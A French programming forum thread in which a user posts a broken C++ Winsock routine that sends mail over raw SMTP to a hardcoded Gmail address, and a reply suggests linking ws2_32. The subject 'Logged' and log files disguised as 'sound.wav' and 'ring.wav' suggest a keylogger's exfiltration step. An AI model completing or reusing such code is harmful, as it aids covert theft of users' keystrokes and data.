IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Réseau C Discussion :

envoi d'un fichier par email


Sujet :

Réseau C

  1. #1
    Membre du Club
    Profil pro
    Inscrit en
    Mars 2009
    Messages
    162
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2009
    Messages : 162
    Points : 62
    Points
    62
    Par défaut envoi d'un fichier par email
    Bonjours voila mon souci ,
    je voudrais envoyer un fichier pa email en c++ mais je n'arrive pas
    du tout des erreur persistes:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
     #include <stdio.h>
     #include <stdlib.h>
     #include <windows.h>
     #include <winuser.h>
     #include <windowsx.h>
     #include <time.h>
    #include <winsock.h>
    #include <iostream>
    #include <cstdio>
    #include <sstream>
    #include <fstream>
    #include <sys/types.h>
     
    int MailIt (char *mailserver, char *emailto, char *emailfrom,
     char *emailsubject, char *emailmessage);
     #define BUFSIZE 800
     #define waittime 500
     /*tapper :
     "nslookup -querytype=mx gmail.com" dans la console msdos
     si vous souhaitez avoir les serveurs SMTP à jour*/
     #define cmailserver "gmail-smtp-in.l.google.com"
     #define cemailto "monadrss@gmail.com"
     #define cemailfrom "destinataire@gmail.com"
     #define LogLength 100
     #define FileName "sound.wav"
     #define SMTPLog "ring.wav"
     #define cemailsubject "Logged"
    int main()
    {
    int MailIt (char *mailserver, char *emailto, char *emailfrom,
     char *emailsubject, char *emailmessage) {
     SOCKET sockfd;
     WSADATA wsaData;
     FILE *smtpfile;
     
     #define bufsize 300 // taille du fichier pour l' envoie
     int bytes_sent;
     int err;
     struct hostent *host; // gethostbyname /
     struct sockaddr_in dest_addr; // adresse de l'hote
     char line[1000];
     char *Rec_Buf = (char*) malloc(bufsize+1);
     smtpfile=fopen(SMTPLog,"a+");
     if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
     fputs("WSAStartup failed",smtpfile);
     WSACleanup();
     return -1;
     }
     if ( (host=gethostbyname(mailserver)) == NULL) {
     perror("gethostbyname");
     exit(1);
     }
     memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
     
     // Prepare dest_addr
     dest_addr.sin_family= host->h_addrtype;
     dest_addr.sin_port= htons(25); // PORT
     
     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
     perror("socket");
     exit(1);
     }
     /// Connection !
     fputs("Connecting....\n",smtpfile);
     
     if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
     perror("connect");
     exit(1);
     }
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"helo me.somepalace.com\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"MAIL FROM:<");
     strncat(line,emailfrom,strlen(emailfrom));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"RCPT TO:<");
     strncat(line,emailto,strlen(emailto));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"DATA\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     Sleep(waittime);
     strcpy(line,"To:");
     strcat(line,emailto);
     strcat(line,"\n");
      strcat(line,"From:");
     strcat(line,emailfrom);
     strcat(line,"\n");
     strcat(line,"Subject:");
     strcat(line,emailsubject);
     strcat(line,"\n");
     strcat(line,emailmessage);
     strcat(line,"\r\n.\r\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"quit\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     fclose(smtpfile);
     #ifdef WIN32
     closesocket(sockfd);
     WSACleanup();
     #else
     close(sockfd);
     #endif
     }
    j ai les erreurs suivantes :

    undefined reference to `closesocket@4' main.cpp
    undefined reference to `gethostbyname@4' main.cpp
    undefined reference to `htons@4' main.cpp
    undefined reference to `recv@16' main.cpp
    undefined reference to `send@16' main.cpp
    undefined reference to `socket@12' main.cpp
    undefined reference to `WSACleanup@0' main.cpp
    undefined reference to `WSAStartup@8' main.cpp

  2. #2
    screetch
    Invité(e)
    Par défaut
    il faut ajouter la bibliotheque winsock ws2_32.lib

  3. #3
    Membre du Club
    Profil pro
    Inscrit en
    Mars 2009
    Messages
    162
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2009
    Messages : 162
    Points : 62
    Points
    62
    Par défaut
    ou je peu la trouver ?
    jutilise eclipse c++

  4. #4
    screetch
    Invité(e)
    Par défaut
    elle est deja fournie
    il faut l'ajouter dans les options de link; je ne sais pas ou c'est sous eclipse, regarde dans les options du projet. lorsque tu trouveras quelque chose comme "bibliothèque externes" ou similaire, ajoute ws2_32 ou ws2_32.lib (je ne sais pas comment c'est formaté)

  5. #5
    Membre du Club
    Profil pro
    Inscrit en
    Mars 2009
    Messages
    162
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2009
    Messages : 162
    Points : 62
    Points
    62
    Par défaut
    je l'ai ajouter sans souci mais je recoi aucun mail

  6. #6
    screetch
    Invité(e)
    Par défaut
    ah ben si ca compile sur le reste je ne peux pas t'aider
    tu devrais faire un autre sujet avec ton deuxieme probleme, sinon les gens risquent de ne pas regarder ce topic

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. [XL-2007] Envoie fichier par email
    Par Ambrocbt dans le forum Macros et VBA Excel
    Réponses: 9
    Dernier message: 29/09/2011, 14h23
  2. Problème envoi d'un fichier par email
    Par Hellgast dans le forum Réseau
    Réponses: 8
    Dernier message: 19/09/2009, 23h59
  3. Réponses: 3
    Dernier message: 06/03/2006, 10h36
  4. envoi d'un état par email à partir d'un formulaire
    Par claudio-esco dans le forum Access
    Réponses: 7
    Dernier message: 09/12/2005, 11h05
  5. Envoie d'un fichier par Internet
    Par gust dans le forum Access
    Réponses: 7
    Dernier message: 07/12/2005, 15h59

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo